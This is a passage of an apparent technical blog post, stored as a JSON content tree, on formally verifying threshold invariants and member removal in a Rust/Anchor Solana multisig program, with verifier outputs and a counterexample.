condition:",{"type":24,"tag":261,"props":32211,"children":32213},{"code":32212,"language":10717,"meta":7,"className":10718,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[32214],{"type":24,"tag":135,"props":32215,"children":32216},{"__ignoreMap":7},[32217,32240,32271],{"type":24,"tag":271,"props":32218,"children":32219},{"class":273,"line":274},[32220,32224,32228,32232,32236],{"type":24,"tag":271,"props":32221,"children":32222},{"style":749},[32223],{"type":29,"value":23277},{"type":24,"tag":271,"props":32225,"children":32226},{"style":630},[32227],{"type":29,"value":31148},{"type":24,"tag":271,"props":32229,"children":32230},{"style":624},[32231],{"type":29,"value":16432},{"type":24,"tag":271,"props":32233,"children":32234},{"style":477},[32235],{"type":29,"value":824},{"type":24,"tag":271,"props":32237,"children":32238},{"style":288},[32239],{"type":29,"value":7145},{"type":24,"tag":271,"props":32241,"children":32242},{"class":273,"line":284},[32243,32247,32251,32255,32259,32263,32267],{"type":24,"tag":271,"props":32244,"children":32245},{"style":749},[32246],{"type":29,"value":9640},{"type":24,"tag":271,"props":32248,"children":32249},{"style":598},[32250],{"type":29,"value":31203},{"type":24,"tag":271,"props":32252,"children":32253},{"style":288},[32254],{"type":29,"value":606},{"type":24,"tag":271,"props":32256,"children":32257},{"style":3887},[32258],{"type":29,"value":31212},{"type":24,"tag":271,"props":32260,"children":32261},{"style":624},[32262],{"type":29,"value":11207},{"type":24,"tag":271,"props":32264,"children":32265},{"style":3887},[32266],{"type":29,"value":31221},{"type":24,"tag":271,"props":32268,"children":32269},{"style":288},[32270],{"type":29,"value":1155},{"type":24,"tag":271,"props":32272,"children":32273},{"class":273,"line":294},[32274],{"type":24,"tag":271,"props":32275,"children":32276},{"style":288},[32277],{"type":29,"value":1171},{"type":24,"tag":25,"props":32279,"children":32280},{},[32281,32283,32289,32291,32296,32298,32303,32305,32310],{"type":29,"value":32282},"In this case this is actually redundant because if ",{"type":24,"tag":135,"props":32284,"children":32286},{"className":32285},[],[32287],{"type":29,"value":32288},"members.len() == 0",{"type":29,"value":32290}," then our threshold would also have to be ",{"type":24,"tag":135,"props":32292,"children":32294},{"className":32293},[],[32295],{"type":29,"value":4121},{"type":29,"value":32297}," (and our ",{"type":24,"tag":135,"props":32299,"children":32301},{"className":32300},[],[32302],{"type":29,"value":30435},{"type":29,"value":32304}," is not allowed to be ",{"type":24,"tag":135,"props":32306,"children":32308},{"className":32307},[],[32309],{"type":29,"value":4121},{"type":29,"value":32311},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":85,"props":32313,"children":32315},{"id":32314},"_2-verify-threshold-requirements",[32316],{"type":29,"value":32317},"2. Verify threshold requirements",{"type":24,"tag":25,"props":32319,"children":32320},{},[32321],{"type":29,"value":32322},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":32324,"children":32325},{},[32326,32328,32332],{"type":29,"value":32327},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":10648,"props":32329,"children":32330},{},[32331],{"type":29,"value":17008},{"type":29,"value":32333}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":32335,"children":32336},{},[32337,32339,32343,32345,32350],{"type":29,"value":32338},"In this case, we want to model this as an ",{"type":24,"tag":10648,"props":32340,"children":32341},{},[32342],{"type":29,"value":29463},{"type":29,"value":32344}," on the ",{"type":24,"tag":135,"props":32346,"children":32348},{"className":32347},[],[32349],{"type":29,"value":30427},{"type":29,"value":32351}," account struct:",{"type":24,"tag":261,"props":32353,"children":32355},{"code":32354,"language":10717,"meta":7,"className":10718,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[32356],{"type":24,"tag":135,"props":32357,"children":32358},{"__ignoreMap":7},[32359,32366,32391,32398,32422,32473,32480,32499,32526,32553,32580,32607,32634,32661,32688,32723],{"type":24,"tag":271,"props":32360,"children":32361},{"class":273,"line":274},[32362],{"type":24,"tag":271,"props":32363,"children":32364},{"style":288},[32365],{"type":29,"value":28457},{"type":24,"tag":271,"props":32367,"children":32368},{"class":273,"line":284},[32369,32373,32378,32382,32387],{"type":24,"tag":271,"props":32370,"children":32371},{"style":288},[32372],{"type":29,"value":30523},{"type":24,"tag":271,"props":32374,"children":32375},{"style":3887},[32376],{"type":29,"value":32377},"Clone",{"type":24,"tag":271,"props":32379,"children":32380},{"style":288},[32381],{"type":29,"value":158},{"type":24,"tag":271,"props":32383,"children":32384},{"style":3887},[32385],{"type":29,"value":32386},"Debug",{"type":24,"tag":271,"props":32388,"children":32389},{"style":288},[32390],{"type":29,"value":27947},{"type":24,"tag":271,"props":32392,"children":32393},{"class":273,"line":294},[32394],{"type":24,"tag":271,"props":32395,"children":32396},{"style":288},[32397],{"type":29,"value":28465},{"type":24,"tag":271,"props":32399,"children":32400},{"class":273,"line":303},[32401,32406,32410,32414,32418],{"type":24,"tag":271,"props":32402,"children":32403},{"style":288},[32404],{"type":29,"value":32405}," (self",{"type":24,"tag":271,"props":32407,"children":32408},{"style":624},[32409],{"type":29,"value":41},{"type":24,"tag":271,"props":32411,"children":32412},{"style":288},[32413],{"type":29,"value":28758},{"type":24,"tag":271,"props":32415,"children":32416},{"style":624},[32417],{"type":29,"value":17648},{"type":24,"tag":271,"props":32419,"children":32420},{"style":288},[32421],{"type":29,"value":28767},{"type":24,"tag":271,"props":32423,"children":32424},{"class":273,"line":312},[32425,32429,32433,32437,32441,32445,32449,32453,32457,32461,32465,32469],{"type":24,"tag":271,"props":32426,"children":32427},{"style":624},[32428],{"type":29,"value":23319},{"type":24,"tag":271,"props":32430,"children":32431},{"style":288},[32432],{"type":29,"value":28691},{"type":24,"tag":271,"props":32434,"children":32435},{"style":624},[32436],{"type":29,"value":41},{"type":24,"tag":271,"props":32438,"children":32439},{"style":288},[32440],{"type":29,"value":28758},{"type":24,"tag":271,"props":32442,"children":32443},{"style":278},[32444],{"type":29,"value":16555},{"type":24,"tag":271,"props":32446,"children":32447},{"style":3887},[32448],{"type":29,"value":21432},{"type":24,"tag":271,"props":32450,"children":32451},{"style":624},[32452],{"type":29,"value":15912},{"type":24,"tag":271,"props":32454,"children":32455},{"style":288},[32456],{"type":29,"value":21497},{"type":24,"tag":271,"props":32458,"children":32459},{"style":624},[32460],{"type":29,"value":41},{"type":24,"tag":271,"props":32462,"children":32463},{"style":288},[32464],{"type":29,"value":28670},{"type":24,"tag":271,"props":32466,"children":32467},{"style":624},[32468],{"type":29,"value":41},{"type":24,"tag":271,"props":32470,"children":32471},{"style":288},[32472],{"type":29,"value":28819},{"type":24,"tag":271,"props":32474,"children":32475},{"class":273,"line":321},[32476],{"type":24,"tag":271,"props":32477,"children":32478},{"style":288},[32479],{"type":29,"value":27947},{"type":24,"tag":271,"props":32481,"children":32482},{"class":273,"line":330},[32483,32487,32491,32495],{"type":24,"tag":271,"props":32484,"children":32485},{"style":278},[32486],{"type":29,"value":21391},{"type":24,"tag":271,"props":32488,"children":32489},{"style":278},[32490],{"type":29,"value":616},{"type":24,"tag":271,"props":32492,"children":32493},{"style":3887},[32494],{"type":29,"value":28842},{"type":24,"tag":271,"props":32496,"children":32497},{"style":288},[32498],{"type":29,"value":7145},{"type":24,"tag":271,"props":32500,"children":32501},{"class":273,"line":339},[32502,32506,32510,32514,32518,32522],{"type":24,"tag":271,"props":32503,"children":32504},{"style":278},[32505],{"type":29,"value":28530},{"type":24,"tag":271,"props":32507,"children":32508},{"style":630},[32509],{"type":29,"value":28858},{"type":24,"tag":271,"props":32511,"children":32512},{"style":624},[32513],{"type":29,"value":12210},{"type":24,"tag":271,"props":32515,"children":32516},{"style":3887},[32517],{"type":29,"value":28717},{"type":24,"tag":271,"props":32519,"children":32520},{"style":288},[32521],{"type":29,"value":28871},{"type":24,"tag":271,"props":32523,"children":32524},{"style":2058},[32525],{"type":29,"value":28876},{"type":24,"tag":271,"props":32527,"children":32528},{"class":273,"line":347},[32529,32533,32537,32541,32545,32549],{"type":24,"tag":271,"props":32530,"children":32531},{"style":278},[32532],{"type":29,"value":28530},{"type":24,"tag":271,"props":32534,"children":32535},{"style":630},[32536],{"type":29,"value":28888},{"type":24,"tag":271,"props":32538,"children":32539},{"style":624},[32540],{"type":29,"value":12210},{"type":24,"tag":271,"props":32542,"children":32543},{"style":3887},[32544],{"type":29,"value":28717},{"type":24,"tag":271,"props":32546,"children":32547},{"style":288},[32548],{"type":29,"value":28901},{"type":24,"tag":271,"props":32550,"children":32551},{"style":2058},[32552],{"type":29,"value":28906},{"type":24,"tag":271,"props":32554,"children":32555},{"class":273,"line":356},[32556,32560,32564,32568,32572,32576],{"type":24,"tag":271,"props":32557,"children":32558},{"style":278},[32559],{"type":29,"value":28530},{"type":24,"tag":271,"props":32561,"children":32562},{"style":630},[32563],{"type":29,"value":28918},{"type":24,"tag":271,"props":32565,"children":32566},{"style":624},[32567],{"type":29,"value":12210},{"type":24,"tag":271,"props":32569,"children":32570},{"style":3887},[32571],{"type":29,"value":25241},{"type":24,"tag":271,"props":32573,"children":32574},{"style":288},[32575],{"type":29,"value":28931},{"type":24,"tag":271,"props":32577,"children":32578},{"style":2058},[32579],{"type":29,"value":28936},{"type":24,"tag":271,"props":32581,"children":32582},{"class":273,"line":365},[32583,32587,32591,32595,32599,32603],{"type":24,"tag":271,"props":32584,"children":32585},{"style":278},[32586],{"type":29,"value":28530},{"type":24,"tag":271,"props":32588,"children":32589},{"style":630},[32590],{"type":29,"value":28948},{"type":24,"tag":271,"props":32592,"children":32593},{"style":624},[32594],{"type":29,"value":12210},{"type":24,"tag":271,"props":32596,"children":32597},{"style":3887},[32598],{"type":29,"value":25241},{"type":24,"tag":271,"props":32600,"children":32601},{"style":288},[32602],{"type":29,"value":28901},{"type":24,"tag":271,"props":32604,"children":32605},{"style":2058},[32606],{"type":29,"value":28965},{"type":24,"tag":271,"props":32608,"children":32609},{"class":273,"line":374},[32610,32614,32618,32622,32626,32630],{"type":24,"tag":271,"props":32611,"children":32612},{"style":278},[32613],{"type":29,"value":28530},{"type":24,"tag":271,"props":32615,"children":32616},{"style":630},[32617],{"type":29,"value":28977},{"type":24,"tag":271,"props":32619,"children":32620},{"style":624},[32621],{"type":29,"value":12210},{"type":24,"tag":271,"props":32623,"children":32624},{"style":3887},[32625],{"type":29,"value":22332},{"type":24,"tag":271,"props":32627,"children":32628},{"style":288},[32629],{"type":29,"value":28990},{"type":24,"tag":271,"props":32631,"children":32632},{"style":2058},[32633],{"type":29,"value":28995},{"type":24,"tag":271,"props":32635,"children":32636},{"class":273,"line":384},[32637,32641,32645,32649,32653,32657],{"type":24,"tag":271,"props":32638,"children":32639},{"style":278},[32640],{"type":29,"value":28530},{"type":24,"tag":271,"props":32642,"children":32643},{"style":630},[32644],{"type":29,"value":29007},{"type":24,"tag":271,"props":32646,"children":32647},{"style":624},[32648],{"type":29,"value":12210},{"type":24,"tag":271,"props":32650,"children":32651},{"style":3887},[32652],{"type":29,"value":28544},{"type":24,"tag":271,"props":32654,"children":32655},{"style":288},[32656],{"type":29,"value":29020},{"type":24,"tag":271,"props":32658,"children":32659},{"style":2058},[32660],{"type":29,"value":29025},{"type":24,"tag":271,"props":32662,"children":32663},{"class":273,"line":393},[32664,32668,32672,32676,32680,32684],{"type":24,"tag":271,"props":32665,"children":32666},{"style":278},[32667],{"type":29,"value":28530},{"type":24,"tag":271,"props":32669,"children":32670},{"style":630},[32671],{"type":29,"value":29037},{"type":24,"tag":271,"props":32673,"children":32674},{"style":624},[32675],{"type":29,"value":12210},{"type":24,"tag":271,"props":32677,"children":32678},{"style":3887},[32679],{"type":29,"value":19753},{"type":24,"tag":271,"props":32681,"children":32682},{"style":288},[32683],{"type":29,"value":158},{"type":24,"tag":271,"props":32685,"children":32686},{"style":2058},[32687],{"type":29,"value":29054},{"type":24,"tag":271,"props":32689,"children":32690},{"class":273,"line":402},[32691,32695,32699,32703,32707,32711,32715,32719],{"type":24,"tag":271,"props":32692,"children":32693},{"style":278},[32694],{"type":29,"value":28530},{"type":24,"tag":271,"props":32696,"children":32697},{"style":630},[32698],{"type":29,"value":29066},{"type":24,"tag":271,"props":32700,"children":32701},{"style":624},[32702],{"type":29,"value":12210},{"type":24,"tag":271,"props":32704,"children":32705},{"style":3887},[32706],{"type":29,"value":29075},{"type":24,"tag":271,"props":32708,"children":32709},{"style":288},[32710],{"type":29,"value":801},{"type":24,"tag":271,"props":32712,"children":32713},{"style":3887},[32714],{"type":29,"value":29084},{"type":24,"tag":271,"props":32716,"children":32717},{"style":288},[32718],{"type":29,"value":29089},{"type":24,"tag":271,"props":32720,"children":32721},{"style":2058},[32722],{"type":29,"value":29094},{"type":24,"tag":271,"props":32724,"children":32725},{"class":273,"line":411},[32726],{"type":24,"tag":271,"props":32727,"children":32728},{"style":288},[32729],{"type":29,"value":1171},{"type":24,"tag":25,"props":32731,"children":32732},{},[32733,32735,32740],{"type":29,"value":32734},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":135,"props":32736,"children":32738},{"className":32737},[],[32739],{"type":29,"value":30427},{"type":29,"value":32741}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":32743,"children":32744},{},[32745,32747,32752],{"type":29,"value":32746},"Let's try this on the ",{"type":24,"tag":135,"props":32748,"children":32750},{"className":32749},[],[32751],{"type":29,"value":30506},{"type":29,"value":32753}," instruction that we've already seen:",{"type":24,"tag":261,"props":32755,"children":32757},{"code":32756},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[32758],{"type":24,"tag":135,"props":32759,"children":32760},{"__ignoreMap":7},[32761],{"type":29,"value":32756},{"type":24,"tag":25,"props":32763,"children":32764},{},[32765,32767,32772],{"type":29,"value":32766},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":135,"props":32768,"children":32770},{"className":32769},[],[32771],{"type":29,"value":30506},{"type":29,"value":12210},{"type":24,"tag":261,"props":32774,"children":32776},{"code":32775,"language":10717,"meta":7,"className":10718,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[32777],{"type":24,"tag":135,"props":32778,"children":32779},{"__ignoreMap":7},[32780,32788,32796],{"type":24,"tag":271,"props":32781,"children":32782},{"class":273,"line":274},[32783],{"type":24,"tag":271,"props":32784,"children":32785},{"style":2058},[32786],{"type":29,"value":32787},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":271,"props":32789,"children":32790},{"class":273,"line":284},[32791],{"type":24,"tag":271,"props":32792,"children":32793},{"style":2058},[32794],{"type":29,"value":32795},"// return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":271,"props":32797,"children":32798},{"class":273,"line":294},[32799],{"type":24,"tag":271,"props":32800,"children":32801},{"style":2058},[32802],{"type":29,"value":32803},"// }\n",{"type":24,"tag":25,"props":32805,"children":32806},{},[32807],{"type":29,"value":32808},"And run again:",{"type":24,"tag":261,"props":32810,"children":32812},{"code":32811},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[32813],{"type":24,"tag":135,"props":32814,"children":32815},{"__ignoreMap":7},[32816],{"type":29,"value":32811},{"type":24,"tag":25,"props":32818,"children":32819},{},[32820],{"type":29,"value":32821},"We get the following counterexample:",{"type":24,"tag":261,"props":32823,"children":32825},{"code":32824,"language":10717,"meta":7,"className":10718,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[32826],{"type":24,"tag":135,"props":32827,"children":32828},{"__ignoreMap":7},[32829,32840,32860,32880,32900,32920,32940,32960,32980,33000,33021,33042,33050,33058,33088],{"type":24,"tag":271,"props":32830,"children":32831},{"class":273,"line":274},[32832,32836],{"type":24,"tag":271,"props":32833,"children":32834},{"style":3887},[32835],{"type":29,"value":24839},{"type":24,"tag":271,"props":32837,"children":32838},{"style":288},[32839],{"type":29,"value":7145},{"type":24,"tag":271,"props":32841,"children":32842},{"class":273,"line":284},[32843,32848,32852,32856],{"type":24,"tag":271,"props":32844,"children":32845},{"style":630},[32846],{"type":29,"value":32847}," account",{"type":24,"tag":271,"props":32849,"children":32850},{"style":624},[32851],{"type":29,"value":12210},{"type":24,"tag":271,"props":32853,"children":32854},{"style":3887},[32855],{"type":29,"value":28842},{"type":24,"tag":271,"props":32857,"children":32858},{"style":288},[32859],{"type":29,"value":7145},{"type":24,"tag":271,"props":32861,"children":32862},{"class":273,"line":294},[32863,32867,32871,32876],{"type":24,"tag":271,"props":32864,"children":32865},{"style":630},[32866],{"type":29,"value":31506},{"type":24,"tag":271,"props":32868,"children":32869},{"style":624},[32870],{"type":29,"value":12210},{"type":24,"tag":271,"props":32872,"children":32873},{"style":477},[32874],{"type":29,"value":32875}," 32768",{"type":24,"tag":271,"props":32877,"children":32878},{"style":288},[32879],{"type":29,"value":638},{"type":24,"tag":271,"props":32881,"children":32882},{"class":273,"line":303},[32883,32888,32892,32896],{"type":24,"tag":271,"props":32884,"children":32885},{"style":630},[32886],{"type":29,"value":32887}," authority_index",{"type":24,"tag":271,"props":32889,"children":32890},{"style":624},[32891],{"type":29,"value":12210},{"type":24,"tag":271,"props":32893,"children":32894},{"style":477},[32895],{"type":29,"value":824},{"type":24,"tag":271,"props":32897,"children":32898},{"style":288},[32899],{"type":29,"value":638},{"type":24,"tag":271,"props":32901,"children":32902},{"class":273,"line":312},[32903,32908,32912,32916],{"type":24,"tag":271,"props":32904,"children":32905},{"style":630},[32906],{"type":29,"value":32907}," transaction_index",{"type":24,"tag":271,"props":32909,"children":32910},{"style":624},[32911],{"type":29,"value":12210},{"type":24,"tag":271,"props":32913,"children":32914},{"style":477},[32915],{"type":29,"value":767},{"type":24,"tag":271,"props":32917,"children":32918},{"style":288},[32919],{"type":29,"value":638},{"type":24,"tag":271,"props":32921,"children":32922},{"class":273,"line":321},[32923,32928,32932,32936],{"type":24,"tag":271,"props":32924,"children":32925},{"style":630},[32926],{"type":29,"value":32927}," ms_change_index",{"type":24,"tag":271,"props":32929,"children":32930},{"style":624},[32931],{"type":29,"value":12210},{"type":24,"tag":271,"props":32933,"children":32934},{"style":477},[32935],{"type":29,"value":767},{"type":24,"tag":271,"props":32937,"children":32938},{"style":288},[32939],{"type":29,"value":638},{"type":24,"tag":271,"props":32941,"children":32942},{"class":273,"line":330},[32943,32948,32952,32956],{"type":24,"tag":271,"props":32944,"children":32945},{"style":630},[32946],{"type":29,"value":32947}," bump",{"type":24,"tag":271,"props":32949,"children":32950},{"style":624},[32951],{"type":29,"value":12210},{"type":24,"tag":271,"props":32953,"children":32954},{"style":477},[32955],{"type":29,"value":767},{"type":24,"tag":271,"props":32957,"children":32958},{"style":288},[32959],{"type":29,"value":638},{"type":24,"tag":271,"props":32961,"children":32962},{"class":273,"line":339},[32963,32967,32971,32976],{"type":24,"tag":271,"props":32964,"children":32965},{"style":630},[32966],{"type":29,"value":31518},{"type":24,"tag":271,"props":32968,"children":32969},{"style":624},[32970],{"type":29,"value":12210},{"type":24,"tag":271,"props":32972,"children":32973},{"style":624},[32974],{"type":29,"value":32975}," ...",{"type":24,"tag":271,"props":32977,"children":32978},{"style":288},[32979],{"type":29,"value":638},{"type":24,"tag":271,"props":32981,"children":32982},{"class":273,"line":347},[32983,32988,32992,32996],{"type":24,"tag":271,"props":32984,"children":32985},{"style":630},[32986],{"type":29,"value":32987}," allow_external_execute",{"type":24,"tag":271,"props":32989,"children":32990},{"style":624},[32991],{"type":29,"value":12210},{"type":24,"tag":271,"props":32993,"children":32994},{"style":278},[32995],{"type":29,"value":1877},{"type":24,"tag":271,"props":32997,"children":32998},{"style":288},[32999],{"type":29,"value":638},{"type":24,"tag":271,"props":33001,"children":33002},{"class":273,"line":356},[33003,33008,33012,33017],{"type":24,"tag":271,"props":33004,"children":33005},{"style":630},[33006],{"type":29,"value":33007}," keys",{"type":24,"tag":271,"props":33009,"children":33010},{"style":624},[33011],{"type":29,"value":12210},{"type":24,"tag":271,"props":33013,"children":33014},{"style":3887},[33015],{"type":29,"value":33016}," SparseVec",{"type":24,"tag":271,"props":33018,"children":33019},{"style":288},[33020],{"type":29,"value":7145},{"type":24,"tag":271,"props":33022,"children":33023},{"class":273,"line":365},[33024,33029,33033,33038],{"type":24,"tag":271,"props":33025,"children":33026},{"style":630},[33027],{"type":29,"value":33028}," size",{"type":24,"tag":271,"props":33030,"children":33031},{"style":624},[33032],{"type":29,"value":12210},{"type":24,"tag":271,"props":33034,"children":33035},{"style":477},[33036],{"type":29,"value":33037}," 5112",{"type":24,"tag":271,"props":33039,"children":33040},{"style":288},[33041],{"type":29,"value":638},{"type":24,"tag":271,"props":33043,"children":33044},{"class":273,"line":374},[33045],{"type":24,"tag":271,"props":33046,"children":33047},{"style":288},[33048],{"type":29,"value":33049}," },\n",{"type":24,"tag":271,"props":33051,"children":33052},{"class":273,"line":384},[33053],{"type":24,"tag":271,"props":33054,"children":33055},{"style":288},[33056],{"type":29,"value":33057}," },\n",{"type":24,"tag":271,"props":33059,"children":33060},{"class":273,"line":393},[33061,33066,33070,33075,33079,33083],{"type":24,"tag":271,"props":33062,"children":33063},{"style":630},[33064],{"type":29,"value":33065}," info",{"type":24,"tag":271,"props":33067,"children":33068},{"style":624},[33069],{"type":29,"value":12210},{"type":24,"tag":271,"props":33071,"children":33072},{"style":3887},[33073],{"type":29,"value":33074}," AccountInfo",{"type":24,"tag":271,"props":33076,"children":33077},{"style":288},[33078],{"type":29,"value":17293},{"type":24,"tag":271,"props":33080,"children":33081},{"style":624},[33082],{"type":29,"value":17298},{"type":24,"tag":271,"props":33084,"children":33085},{"style":288},[33086],{"type":29,"value":33087}," },\n",{"type":24,"tag":271,"props":33089,"children":33090},{"class":273,"line":402},[33091],{"type":24,"tag":271,"props":33092,"children":33093},{"style":288},[33094],{"type":29,"value":1171},{"type":24,"tag":25,"props":33096,"children":33097},{},[33098,33100,33105,33107,33112],{"type":29,"value":33099},"Here we see that the ",{"type":24,"tag":135,"props":33101,"children":33103},{"className":33102},[],[33104],{"type":29,"value":30435},{"type":29,"value":33106}," of the newly created ",{"type":24,"tag":135,"props":33108,"children":33110},{"className":33109},[],[33111],{"type":29,"value":30427},{"type":29,"value":33113}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":85,"props":33115,"children":33117},{"id":33116},"verify-requirements-to-remove-a-member",[33118],{"type":29,"value":30465},{"type":24,"tag":25,"props":33120,"children":33121},{},[33122,33124,33129,33130,33135,33137,33143],{"type":29,"value":33123},"Now that we've seen both ",{"type":24,"tag":135,"props":33125,"children":33127},{"className":33126},[],[33128],{"type":29,"value":27843},{"type":29,"value":518},{"type":24,"tag":135,"props":33131,"children":33133},{"className":33132},[],[33134],{"type":29,"value":29463},{"type":29,"value":33136}," let's take a look at the ",{"type":24,"tag":135,"props":33138,"children":33140},{"className":33139},[],[33141],{"type":29,"value":33142},"remove_member",{"type":29,"value":33144}," function:",{"type":24,"tag":261,"props":33146,"children":33148},{"code":33147,"language":10717,"meta":7,"className":10718,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[33149],{"type":24,"tag":135,"props":33150,"children":33151},{"__ignoreMap":7},[33152,33175,33203,33218,33263,33270,33282,33298,33310,33336,33344,33373,33380,33412,33419,33426,33500,33508,33568,33600,33607,33658,33665,33673,33766,33855,33909,33916,33961,34006],{"type":24,"tag":271,"props":33153,"children":33154},{"class":273,"line":274},[33155,33159,33163,33167,33171],{"type":24,"tag":271,"props":33156,"children":33157},{"style":288},[33158],{"type":29,"value":30523},{"type":24,"tag":271,"props":33160,"children":33161},{"style":3887},[33162],{"type":29,"value":30528},{"type":24,"tag":271,"props":33164,"children":33165},{"style":288},[33166],{"type":29,"value":158},{"type":24,"tag":271,"props":33168,"children":33169},{"style":3887},[33170],{"type":29,"value":32386},{"type":24,"tag":271,"props":33172,"children":33173},{"style":288},[33174],{"type":29,"value":27947},{"type":24,"tag":271,"props":33176,"children":33177},{"class":273,"line":284},[33178,33182,33186,33191,33195,33199],{"type":24,"tag":271,"props":33179,"children":33180},{"style":278},[33181],{"type":29,"value":21391},{"type":24,"tag":271,"props":33183,"children":33184},{"style":278},[33185],{"type":29,"value":616},{"type":24,"tag":271,"props":33187,"children":33188},{"style":3887},[33189],{"type":29,"value":33190}," MsAuth",{"type":24,"tag":271,"props":33192,"children":33193},{"style":288},[33194],{"type":29,"value":30608},{"type":24,"tag":271,"props":33196,"children":33197},{"style":3887},[33198],{"type":29,"value":30613},{"type":24,"tag":271,"props":33200,"children":33201},{"style":288},[33202],{"type":29,"value":14997},{"type":24,"tag":271,"props":33204,"children":33205},{"class":273,"line":294},[33206,33210,33214],{"type":24,"tag":271,"props":33207,"children":33208},{"style":288},[33209],{"type":29,"value":30814},{"type":24,"tag":271,"props":33211,"children":33212},{"style":278},[33213],{"type":29,"value":11448},{"type":24,"tag":271,"props":33215,"children":33216},{"style":288},[33217],{"type":29,"value":27947},{"type":24,"tag":271,"props":33219,"children":33220},{"class":273,"line":303},[33221,33226,33230,33235,33239,33243,33247,33251,33255,33259],{"type":24,"tag":271,"props":33222,"children":33223},{"style":630},[33224],{"type":29,"value":33225}," multisig",{"type":24,"tag":271,"props":33227,"children":33228},{"style":624},[33229],{"type":29,"value":12210},{"type":24,"tag":271,"props":33231,"children":33232},{"style":3887},[33233],{"type":29,"value":33234}," Box",{"type":24,"tag":271,"props":33236,"children":33237},{"style":288},[33238],{"type":29,"value":801},{"type":24,"tag":271,"props":33240,"children":33241},{"style":3887},[33242],{"type":29,"value":24839},{"type":24,"tag":271,"props":33244,"children":33245},{"style":288},[33246],{"type":29,"value":30608},{"type":24,"tag":271,"props":33248,"children":33249},{"style":3887},[33250],{"type":29,"value":30613},{"type":24,"tag":271,"props":33252,"children":33253},{"style":288},[33254],{"type":29,"value":158},{"type":24,"tag":271,"props":33256,"children":33257},{"style":3887},[33258],{"type":29,"value":30427},{"type":24,"tag":271,"props":33260,"children":33261},{"style":288},[33262],{"type":29,"value":14668},{"type":24,"tag":271,"props":33264,"children":33265},{"class":273,"line":312},[33266],{"type":24,"tag":271,"props":33267,"children":33268},{"style":288},[33269],{"type":29,"value":30625},{"type":24,"tag":271,"props":33271,"children":33272},{"class":273,"line":321},[33273,33278],{"type":24,"tag":271,"props":33274,"children":33275},{"style":278},[33276],{"type":29,"value":33277}," mut",{"type":24,"tag":271,"props":33279,"children":33280},{"style":288},[33281],{"type":29,"value":638},{"type":24,"tag":271,"props":33283,"children":33284},{"class":273,"line":330},[33285,33289,33293],{"type":24,"tag":271,"props":33286,"children":33287},{"style":288},[33288],{"type":29,"value":30709},{"type":24,"tag":271,"props":33290,"children":33291},{"style":624},[33292],{"type":29,"value":762},{"type":24,"tag":271,"props":33294,"children":33295},{"style":288},[33296],{"type":29,"value":33297}," [\n",{"type":24,"tag":271,"props":33299,"children":33300},{"class":273,"line":339},[33301,33306],{"type":24,"tag":271,"props":33302,"children":33303},{"style":378},[33304],{"type":29,"value":33305}," b\"squad\"",{"type":24,"tag":271,"props":33307,"children":33308},{"style":288},[33309],{"type":29,"value":638},{"type":24,"tag":271,"props":33311,"children":33312},{"class":273,"line":347},[33313,33318,33322,33327,33331],{"type":24,"tag":271,"props":33314,"children":33315},{"style":288},[33316],{"type":29,"value":33317}," multisig",{"type":24,"tag":271,"props":33319,"children":33320},{"style":624},[33321],{"type":29,"value":41},{"type":24,"tag":271,"props":33323,"children":33324},{"style":288},[33325],{"type":29,"value":33326},"create_key",{"type":24,"tag":271,"props":33328,"children":33329},{"style":624},[33330],{"type":29,"value":41},{"type":24,"tag":271,"props":33332,"children":33333},{"style":288},[33334],{"type":29,"value":33335},"as_ref(),\n",{"type":24,"tag":271,"props":33337,"children":33338},{"class":273,"line":356},[33339],{"type":24,"tag":271,"props":33340,"children":33341},{"style":378},[33342],{"type":29,"value":33343}," 